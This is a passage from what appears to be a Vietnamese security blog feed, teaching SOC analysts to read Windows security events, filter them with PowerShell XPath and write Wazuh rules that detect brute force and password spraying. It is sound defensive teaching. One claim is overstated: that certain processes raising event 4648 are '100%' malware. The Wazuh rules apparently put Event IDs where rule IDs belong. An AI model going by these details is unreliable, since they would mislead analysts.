&lt;li&gt;&lt;strong&gt;EID 4672 (Special Logon):&lt;/strong&gt; Phiên đăng nhập được gán đặc quyền Admin (SYSTEM). Nếu một tài khoản người dùng thường (như nhân viên lễ tân) có log này, họ đã leo quyền (Privilege Escalation) thành công.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 4720 (User Created) &amp;amp; 4732 (Added to Group):&lt;/strong&gt; Hacker tạo tài khoản Backdoor mới và nhét nó vào nhóm Administrators. Mọi sự kiện 4732 tác động vào nhóm Admin đều phải được điều tra lập tức.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 4688 (Process Creation):&lt;/strong&gt; Ghi nhận một tiến trình/câu lệnh mới vừa chạy. Kết hợp dòng log này, ta biết chính xác mã độc đã gõ lệnh gì trên CMD/PowerShell.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EID 1102 (Log Cleared):&lt;/strong&gt; Nhật ký an ninh đã bị xóa trắng. Dấu vết lẩn trốn rõ ràng nhất.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-giải-phẫu-cấu-trúc-xml-của-một-sự-kiện"&gt;3. Giải phẫu cấu trúc XML của một Sự kiện
&lt;/h2&gt;&lt;p&gt;Mở giao diện Event Viewer (Friendly View) và bấm xem bằng mắt thường rất dễ hiểu, nhưng lại quá chậm để tự động hóa. Thực chất, giao diện này chỉ là bản &amp;ldquo;dịch&amp;rdquo; lại từ ngôn ngữ lưu trữ gốc của Windows: XML.&lt;/p&gt;
&lt;p&gt;Chuyển sang tab &lt;strong&gt;XML View&lt;/strong&gt;, bạn sẽ thấy một sự kiện luôn chia làm 2 khối chính:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;Event&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;xmlns=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;http://schemas.microsoft.com/win/2004/08/events/event&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- KHỐI SYSTEM: Chứa siêu dữ liệu chung --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;System&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Provider&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft-Windows-Security-Auditing&amp;#34;&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;...&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;EventID&amp;gt;&lt;/span&gt;4672&lt;span style="color:#f92672"&gt;&amp;lt;/EventID&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Level&amp;gt;&lt;/span&gt;0&lt;span style="color:#f92672"&gt;&amp;lt;/Level&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;TimeCreated&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;SystemTime=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;2026-02-02T17:22:57.0339579Z&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Execution&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ProcessID=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1504&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ThreadID=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;1600&amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Computer&amp;gt;&lt;/span&gt;NguyenDuy&lt;span style="color:#f92672"&gt;&amp;lt;/Computer&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/System&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;!-- KHỐI EVENT DATA: Phần &amp;#34;thịt&amp;#34; chứa thông tin điều tra --&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;EventData&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Data&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;SubjectUserSid&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;S-1-5-18&lt;span style="color:#f92672"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Data&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;SubjectUserName&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;SYSTEM&lt;span style="color:#f92672"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;Data&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;PrivilegeList&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;SeAssignPrimaryTokenPrivilege
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SeSecurityPrivilege
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SeTakeOwnershipPrivilege
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SeDebugPrivilege
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; SeImpersonatePrivilege&lt;span style="color:#f92672"&gt;&amp;lt;/Data&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/EventData&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/Event&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Tại sao phải quan tâm XML?&lt;/strong&gt; Bởi vì những thông tin sinh tử như Tên tài khoản (&lt;code&gt;SubjectUserName&lt;/code&gt;) hay Đặc quyền (&lt;code&gt;PrivilegeList&lt;/code&gt;) được giấu sâu bên trong các node &lt;code&gt;&amp;lt;Data&amp;gt;&lt;/code&gt;. Nếu bạn hiểu cấu trúc này, bạn có thể viết script lọc ra chính xác các đăng nhập mờ ám có đặc quyền &lt;code&gt;SeDebugPrivilege&lt;/code&gt; (đặc quyền cho phép can thiệp bộ nhớ, cực kỳ nguy hiểm, thường dùng để dump mật khẩu &lt;code&gt;lsass.exe&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id="4-kỹ-năng-lọc-log-thực-chiến-bằng-powershell-xpath"&gt;4. Kỹ năng lọc log thực chiến bằng PowerShell (XPath)
&lt;/h2&gt;&lt;p&gt;Event Viewer rất nặng và chậm khi load hàng chục GB logs. Thay vào đó, SOC Analyst sử dụng PowerShell với Cmdlet &lt;code&gt;Get-WinEvent&lt;/code&gt; kết hợp cú pháp truy vấn XPath để quét logs trong chớp mắt.&lt;/p&gt;
&lt;h3 id="41-thống-kê-nhanh-bằng-wevtutil"&gt;4.1 Thống kê nhanh bằng Wevtutil
&lt;/h3&gt;&lt;p&gt;Để đếm tổng số tệp nhật ký trên máy mà không cần mở giao diện đồ họa, bạn có thể dùng lệnh:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wevtutil.exe el | find /c /v &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;em&gt;(Lệnh này liệt kê tất cả các log &lt;code&gt;el&lt;/code&gt; và đếm tổng số dòng)&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="42-săn-tìm-mã-độc-với-get-winevent--xpath"&gt;4.2 Săn tìm mã độc với Get-WinEvent &amp;amp; XPath
&lt;/h3&gt;&lt;p&gt;Giả sử bạn nghi ngờ có kẻ đang liệt kê danh sách nhóm cục bộ (Event ID 4798) để tìm nhóm Admin. Thay vì cuộn chuột thủ công, hãy ném cú pháp XPath này vào PowerShell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Lọc toàn bộ Log Security, chỉ lấy các sự kiện có Event ID = 4798&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-WinEvent -LogName Security -FilterXPath &lt;span style="color:#e6db74"&gt;&amp;#34;*[System[(EventID=4798)]]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nâng cao hơn: Lọc dựa trên EventData (Dữ liệu bên trong)&lt;/strong&gt;
Nếu bạn muốn tìm đích danh Log Logon thất bại (EID 4625) nhưng chỉ lọc các lần thất bại có mã lỗi &lt;code&gt;0xC0000064&lt;/code&gt; (Tên người dùng không tồn tại - Dấu hiệu của việc dò quét tài khoản), bạn có thể viết Rule XPath truy vấn thẳng vào lớp &lt;code&gt;&amp;lt;EventData&amp;gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tìm các log đăng nhập sai (4625) với mã lỗi (Status) là 0xC0000064&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;$Query = &lt;span style="color:#e6db74"&gt;&amp;#34;*[System[EventID=4625] and EventData[Data[@Name=&amp;#39;Status&amp;#39;]=&amp;#39;0xc0000064&amp;#39;]]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Get-WinEvent -LogName Security -FilterXPath $Query | Select-Object TimeCreated, Message
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sức mạnh của XPath cho phép các nhà phân tích SOC trích xuất hàng triệu sự kiện (Events) chỉ trong vài giây, và đây cũng chính là cơ sở cốt lõi để xây dựng các tập luật (Rules) tự động cho hệ thống SIEM (như Wazuh hay Splunk).&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Như vậy, chúng ta đã nắm trong tay cách hệ điều hành &amp;ldquo;ghi sổ&amp;rdquo; mọi biến động. Bằng cách làm chủ các mã Event ID và kỹ thuật lọc XML bằng PowerShell, bạn đã biến mình từ một người bị động trở thành một &amp;ldquo;thợ săn&amp;rdquo; (Threat Hunter) chủ động đi tìm những bất thường trên hệ thống. Ở bài viết tới, chúng ta sẽ tìm hiểu về cách kết hợp Event Logs với Sysmon (System Monitor) – một công cụ biến nhật ký Windows thành hệ thống giám sát cấp độ quân sự. Đừng bỏ lỡ nhé!&lt;/em&gt;&lt;/p&gt;</description></item><item><title>Truy vết Đăng nhập</title><link>/post/truy-vet-dang-nhap-authentication-logs/</link><pubDate>Fri, 08 May 2026 12:00:00 +0700</pubDate><guid>/post/truy-vet-dang-nhap-authentication-logs/</guid><description>&lt;p&gt;Chào mừng các bạn tiếp tục với Series Giải phẫu Windows OS &amp;amp; SOC Analytics! Bất kỳ cuộc tấn công mạng nào, dù tinh vi đến đâu, cũng thường bắt đầu hoặc kết thúc bằng việc kẻ tấn công cố gắng &amp;ldquo;gõ cửa&amp;rdquo; hệ thống qua cơ chế đăng nhập. Đối với một nhà phân tích SOC, nhánh Security Logs là mỏ vàng, và các sự kiện Đăng nhập/Đăng xuất (Logon/Logoff) chính là chìa khóa để nhận diện kẻ xâm nhập. Hôm nay, chúng ta sẽ &amp;ldquo;mổ xẻ&amp;rdquo; bộ 3 Event ID sinh tử: 4624, 4625, 4648 cùng từ điển Logon Types để vạch trần mọi kỹ thuật dò mật khẩu hay mạo danh trên hệ thống.&lt;/p&gt;
&lt;h2 id="1-từ-điển-logon-types-ngôn-ngữ-giao-tiếp-của-hệ-điều-hành"&gt;1. Từ điển &amp;ldquo;Logon Types&amp;rdquo;: Ngôn ngữ giao tiếp của Hệ điều hành
&lt;/h2&gt;&lt;p&gt;Khi bạn phân tích một log đăng nhập (dù thành công hay thất bại), việc chỉ nhìn vào tài khoản (Account Name) là chưa đủ. Bạn bắt buộc phải nhìn vào &lt;strong&gt;Logon Type&lt;/strong&gt; (Cách thức đăng nhập) để biết kẻ đó đang &amp;ldquo;vào nhà&amp;rdquo; bằng cửa chính, cửa sổ hay leo rào.&lt;/p&gt;
&lt;p&gt;Dưới đây là các Logon Type quan trọng nhất mà một SOC Analyst phải thuộc nằm lòng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Type 2 (Interactive):&lt;/strong&gt; Đăng nhập tương tác trực tiếp. Nghĩa là người dùng (hoặc kẻ tấn công) đang thực sự ngồi trước bàn phím vật lý của cái máy tính đó để gõ mật khẩu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type 3 (Network):&lt;/strong&gt; Truy cập qua mạng. Thường thấy khi người dùng truy cập vào thư mục dùng chung (File Share), máy in mạng hoặc khi một tập lệnh từ xa được thực thi.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type 4 (Batch):&lt;/strong&gt; Đăng nhập dạng khối. Thường được sử dụng bởi các tác vụ lập lịch (Scheduled Tasks) tự động chạy định kỳ.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type 5 (Service):&lt;/strong&gt; Đăng nhập dạng dịch vụ. Đây là lúc một dịch vụ hệ thống khởi chạy ngầm dưới quyền một tài khoản cụ thể. &lt;strong&gt;Góc nhìn SOC:&lt;/strong&gt; Nếu hàng trăm log Type 5 nổ ra từ các dịch vụ lạ, có thể mã độc đang tự động gọi tiến trình (spawn process) hàng loạt.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Type 10 (Remote Interactive):&lt;/strong&gt; Đăng nhập qua Remote Desktop Protocol (RDP). Đây là Logon Type bị hacker lợi dụng nhiều nhất để tấn công từ xa.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="2-event-id-4625-tiếng-gõ-cửa-của-kẻ-lạ-mặt-logon-failure"&gt;2. Event ID 4625: Tiếng &amp;ldquo;gõ cửa&amp;rdquo; của kẻ lạ mặt (Logon Failure)
&lt;/h2&gt;&lt;p&gt;Mỗi khi có người nhập sai mật khẩu, Windows sẽ sinh ra &lt;strong&gt;Event ID 4625&lt;/strong&gt;. Một vài log 4625 rải rác là bình thường (do người dùng gõ nhầm), nhưng nếu nó nổ ra hàng loạt, hệ thống của bạn đang bị tấn công.&lt;/p&gt;
&lt;p&gt;Để biết chính xác mục tiêu của kẻ tấn công, chúng ta dựa vào trường Status và Sub Status (Mã lỗi):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0xC000006A&lt;/code&gt; (Bad Password): Tài khoản có tồn tại, nhưng gõ sai mật khẩu.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0xC0000064&lt;/code&gt; (User Does Not Exist): Tên người dùng không tồn tại. Nếu bạn thấy mã này nhiều lần, hacker đang thực hiện dò quét liệt kê tài khoản (Username Enumeration).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0xC0000234&lt;/code&gt; (Account Locked): Đăng nhập vào một tài khoản đã bị khóa do gõ sai quá số lần quy định.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="21-kỹ-năng-phân-biệt-brute-force-và-password-spraying"&gt;2.1 Kỹ năng phân biệt Brute Force và Password Spraying
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Brute Force (Vét cạn):&lt;/strong&gt; Hacker nhắm vào 1 tài khoản (VD: Administrator) và thử hàng nghìn mật khẩu khác nhau. &lt;strong&gt;Dấu hiệu:&lt;/strong&gt; Nhiều log 4625 liên tiếp, cùng một Account Name, mã lỗi &lt;code&gt;0xC000006A&lt;/code&gt;, dồn dập trong vài giây từ một IP lạ (Source Network Address).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password Spraying (Phun mật khẩu):&lt;/strong&gt; Để tránh bị khóa tài khoản (Account Lockout), hacker lấy 1 mật khẩu phổ biến (VD: &amp;ldquo;Admin@123&amp;rdquo;) và thử lần lượt trên hàng trăm user khác nhau. &lt;strong&gt;Dấu hiệu:&lt;/strong&gt; Nhiều log 4625, cùng một IP nguồn, nhưng Account Name thay đổi liên tục, xuất hiện mã lỗi trộn lẫn giữa &lt;code&gt;0xC000006A&lt;/code&gt; và &lt;code&gt;0xC0000064&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-event-id-4624-khi-cánh-cửa-mở-ra-logon-success"&gt;3. Event ID 4624: Khi cánh cửa mở ra (Logon Success)
&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;Event ID 4624&lt;/strong&gt; cho biết một tài khoản đã đăng nhập thành công vào hệ thống. Nếu log này xuất hiện ngay sau một chuỗi dài các log 4625, xin chia buồn, hệ thống của bạn đã bị xuyên thủng!&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;Mẹo điều tra với RDP (Network Level Authentication - NLA):&lt;/strong&gt; Khi hệ thống bật tính năng xác thực cấp mạng (NLA) cho Remote Desktop, quy trình sinh log sẽ hơi &amp;ldquo;đánh lừa&amp;rdquo; bạn một chút:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Đầu tiên, máy khách gửi thông tin xác thực lên. Windows xử lý việc này như một kết nối mạng thông thường và ghi nhận Log 4624 với Logon Type 3.&lt;/li&gt;
&lt;li&gt;Sau khi xác thực Type 3 thành công, phiên giao diện đồ họa RDP mới thực sự được vẽ ra. Lúc này Windows mới tiếp tục ghi nhận thêm một Log 4624 với Logon Type 10.&lt;/li&gt;
&lt;/ol&gt;

 &lt;/blockquote&gt;
&lt;p&gt;Khi điều tra, bạn nhớ ghi lại trường thông tin &lt;code&gt;Logon ID&lt;/code&gt; (VD: &lt;code&gt;0x183C36D&lt;/code&gt;). Đây là mã định danh phiên làm việc, giúp bạn xâu chuỗi mọi hoạt động (tạo tiến trình, truy cập file) mà tài khoản đó thực hiện sau khi vào máy.&lt;/p&gt;
&lt;h2 id="4-event-id-4648-kỹ-thuật-mạo-danh-explicit-credentials"&gt;4. Event ID 4648: Kỹ thuật Mạo danh (Explicit Credentials)
&lt;/h2&gt;&lt;p&gt;Hacker không phải lúc nào cũng đăng nhập từ bên ngoài vào. Nếu chúng đã lọt vào máy bạn dưới quyền một người dùng thường (nhân viên lễ tân), chúng sẽ cố gắng mạo danh Admin bằng kỹ thuật sử dụng thông tin xác thực rõ ràng (Explicit Credentials) - sinh ra &lt;strong&gt;Event ID 4648&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Log 4648 ghi lại việc một tiến trình cố gắng đăng nhập vào một tài khoản bằng cách &amp;ldquo;mượn&amp;rdquo; danh tính (như lệnh &lt;code&gt;runas&lt;/code&gt;) thay vì đăng nhập trực tiếp qua màn hình.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dấu hiệu báo động đỏ (Red Flag) từ 4648:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SubjectUserName:&lt;/strong&gt; Người dùng thường.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TargetUserName:&lt;/strong&gt; Administrator hoặc Service account.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Process Name:&lt;/strong&gt; Bình thường sẽ là &lt;code&gt;explorer.exe&lt;/code&gt; hoặc &lt;code&gt;mmc.exe&lt;/code&gt;. Nếu bạn thấy tiến trình thực hiện hành động này là &lt;code&gt;powershell.exe&lt;/code&gt;, &lt;code&gt;cmd.exe&lt;/code&gt; hoặc &lt;code&gt;rundll32.exe&lt;/code&gt;, 100% đó là mã độc đang thực hiện leo thang đặc quyền (Privilege Escalation) hoặc di chuyển ngang (Lateral Movement) sang máy chủ khác.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="4648 Logs" class="gallery-image" data-flex-basis="435px" data-flex-grow="181" height="578" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="/post/truy-vet-dang-nhap-authentication-logs/image.png" srcset="/post/truy-vet-dang-nhap-authentication-logs/image_hu_10b47e0d4808bd53.png 800w, /post/truy-vet-dang-nhap-authentication-logs/image.png 1049w" width="1049"&gt;&lt;/p&gt;
&lt;h2 id="5-thực-chiến-soc-viết-rule-giám-sát-bằng-siem-wazuh"&gt;5. Thực chiến SOC: Viết Rule giám sát bằng SIEM (Wazuh)
&lt;/h2&gt;&lt;p&gt;Đứng ở góc độ một SOC Analyst, chúng ta không đếm log bằng tay mà sẽ cấu hình các SIEM rule tự động báo động. Dưới đây là ví dụ cấu hình mã XML cho Wazuh để phát hiện hành vi Brute Force và Password Spraying:&lt;/p&gt;
&lt;h3 id="phát-hiện-brute-force-vét-cạn-1-tài-khoản"&gt;Phát hiện Brute Force (Vét cạn 1 tài khoản)
&lt;/h3&gt;&lt;p&gt;Rule này sẽ cảnh báo nếu có 5 lần gõ sai mật khẩu (EID 4625) vào cùng một tài khoản trong vòng 60 giây:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;rule&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;100001&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;level=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;10&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;if_sid&amp;gt;&lt;/span&gt;4625&lt;span style="color:#f92672"&gt;&amp;lt;/if_sid&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;frequency&amp;gt;&lt;/span&gt;5&lt;span style="color:#f92672"&gt;&amp;lt;/frequency&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;timeframe&amp;gt;&lt;/span&gt;60&lt;span style="color:#f92672"&gt;&amp;lt;/timeframe&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;same_field&amp;gt;&lt;/span&gt;win.eventdata.TargetUserName&lt;span style="color:#f92672"&gt;&amp;lt;/same_field&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;description&amp;gt;&lt;/span&gt;Multiple failed logon - possible brute force nhắm vào 1 tài khoản&lt;span style="color:#f92672"&gt;&amp;lt;/description&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/rule&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="phát-hiện-password-spraying-phun-mật-khẩu-qua-rdp"&gt;Phát hiện Password Spraying (Phun mật khẩu qua RDP)
&lt;/h3&gt;&lt;p&gt;Rule này cực kỳ sắc bén: Nếu Logon Type là 10 (RDP) bị lỗi sai mật khẩu (&lt;code&gt;0xC000006A&lt;/code&gt;) trên 5 tài khoản khác nhau trong vòng 5 phút (300 giây):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;rule&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;100013&amp;#34;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;level=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;12&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;if_sid&amp;gt;&lt;/span&gt;4625&lt;span style="color:#f92672"&gt;&amp;lt;/if_sid&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;field&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;win.eventdata.LogonType&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;10&lt;span style="color:#f92672"&gt;&amp;lt;/field&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;field&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;name=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;win.eventdata.Status&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;0xC000006A&lt;span style="color:#f92672"&gt;&amp;lt;/field&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;different_field&amp;gt;&lt;/span&gt;win.eventdata.TargetUserName&lt;span style="color:#f92672"&gt;&amp;lt;/different_field&amp;gt;&lt;/span&gt;
